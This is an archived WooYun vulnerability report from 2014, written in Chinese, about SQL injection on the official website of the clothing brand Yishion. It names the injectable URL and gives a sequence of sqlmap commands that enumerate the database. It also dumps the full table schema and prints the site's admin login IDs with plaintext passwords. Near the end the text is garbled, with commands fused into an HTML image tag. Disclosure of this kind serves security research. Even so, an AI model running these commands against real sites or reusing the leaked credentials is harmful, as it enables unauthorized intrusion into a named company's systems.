当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088318

漏洞标题:以纯官网SQL注入

相关厂商:以纯官网

漏洞作者: 路人甲

提交时间:2014-12-23 18:15

修复时间:2015-02-06 18:16

公开时间:2015-02-06 18:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

sql注入

详细说明:

注入点http://www.yishion.com.cn/workdetail.php/workdetail.php?id=1

漏洞证明:

1.png

11.png

sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbs

2.png

sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbms "Mysql" --current-db

3.png

sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbms "Mysql" --tables -D
"yishion-new"

33.png

Database: `yishion-new`
Table: work
[6 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| text | text |
| time | date |
| title | varchar(255) |
| type | varchar(255) |
+----------+--------------+
Database: `yishion-new`
Table: discount
[7 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| time | date |
| timeforspread | varchar(255) |
| title | varchar(255) |
| url | text |
| website | varchar(255) |
+---------------+--------------+
Database: `yishion-new`
Table: manager
[2 columns]
+-----------+--------------+
| Column | Type |
+-----------+--------------+
| managerID | varchar(11) |
| password | varchar(255) |
+-----------+--------------+
Database: `yishion-new`
Table: contact
[6 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| text | text |
| time | date |
| title | varchar(255) |
| website | varchar(255) |
+----------+--------------+
Database: `yishion-new`
Table: video
[9 columns]
+---------------+--------------+
| Column | Type |
+---------------+--------------+
| describe | text |
| id | int(11) |
| image | varchar(255) |
| isshowed | tinyint(1) |
| time | date |
| timeforspread | varchar(255) |
| title | varchar(255) |
| type | varchar(255) |
| video | varchar(255) |
+---------------+--------------+
Database: `yishion-new`
Table: costume
[12 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| describe | text |
| detail_url | text |
| id | int(11) |
| isshowed | tinyint(1) |
| like | int(5) |
| order | int(5) |
| price | varchar(30) |
| time | date |
| title | varchar(255) |
| type | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+------------+--------------+
Database: `yishion-new`
Table: women
[12 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| describe | text |
| detail_url | text |
| id | int(11) |
| isshowed | tinyint(1) |
| like | int(11) |
| order | int(5) |
| price | varchar(30) |
| time | date |
| title | varchar(255) |
| type | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+------------+--------------+
Database: `yishion-new`
Table: child
[12 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| describe | text |
| detail_url | text |
| id | int(11) |
| isshowed | tinyint(1) |
| like | int(5) |
| order | int(5) |
| price | varchar(30) |
| time | date |
| title | varchar(255) |
| type | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+------------+--------------+
Database: `yishion-new`
Table: news
[8 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| order | int(11) |
| text | text |
| time | date |
| title | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+----------+--------------+
Database: `yishion-new`
Table: subject
[8 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| order | int(11) |
| text | text |
| time | date |
| title | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+----------+--------------+
Database: `yishion-new`
Table: email
[3 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| email | varchar(255) |
| id | int(11) |
| time | date |
+--------+--------------+
Database: `yishion-new`
Table: select
[3 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| id | int(11) |
| name | varchar(255) |
| type | varchar(255) |
+--------+--------------+
Database: `yishion-new`
Table: latest
[7 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(11) |
| isshowed | tinyint(1) |
| order | int(11) |
| time | date |
| title | varchar(255) |
| url | varchar(255) |
| website | varchar(255) |
+----------+--------------+
+-----------+----------+
| managerID | password |
+-----------+----------+
| 438824887 | 1234 |
| yishion | new |
+-----------+----------+sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbms "Mysql" --columns
-T "bottom" -D "yishion-new"<img sqlmap -u http://www.yishion.com.cn/workdetail.php?id=1 --dbms "Mysql" --dump -C
"managerID,password" -T "manager" -D "yishion-new" -v 0src="/upload/201412/231728463b4c2c8bf24762d6c654c27abdba2e99.png" alt="5.png" />

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝